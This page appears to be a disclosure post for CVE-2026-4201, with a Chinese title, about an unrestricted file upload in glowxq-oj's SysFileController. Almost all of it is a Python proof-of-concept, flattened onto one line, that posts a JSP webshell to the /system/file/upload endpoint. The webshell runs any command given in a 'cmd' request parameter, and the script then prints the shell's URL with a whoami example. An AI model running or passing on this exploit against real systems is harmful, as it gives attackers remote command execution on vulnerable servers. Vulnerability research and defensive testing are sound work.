CVE-2026-4201 glowxq-oj SysFileController文件上传漏洞

import requests import sys # CVE-2026-4201 PoC - Unrestricted File Upload in glowxq-oj # Target: glowxq-oj SysFileController Upload Function def exploit(target_url, file_path): """ Exploit for CVE-2026-4201: Unrestricted File Upload This PoC demonstrates uploading a JSP webshell to the target server. """ # JSP Webshell payload webshell = '''<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>''' # Prepare multipart form data files = { 'file': ('shell.jsp', webshell.encode(), 'application/octet-stream') } # Upload endpoint (typically /system/file/upload or similar) upload_url = f"{target_url.rstrip('/')}/system/file/upload" try: print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious JSP file...") # Send malicious upload request response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If successful, try to access the uploaded shell if response.status_code == 200 and 'path' in response.text.lower(): # Extract uploaded file path from response import json try: resp_json = response.json() if 'data' in resp_json and 'url' in resp_json['data']: shell_url = resp_json['data']['url'] print(f"[+] Shell uploaded successfully!") print(f"[+] Access shell at: {shell_url}") print(f"[+] Execute command: {shell_url}?cmd=whoami") except: print("[+] File uploaded - check response for file path") else: print("[-] Upload failed or endpoint not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit(target, "shell.jsp")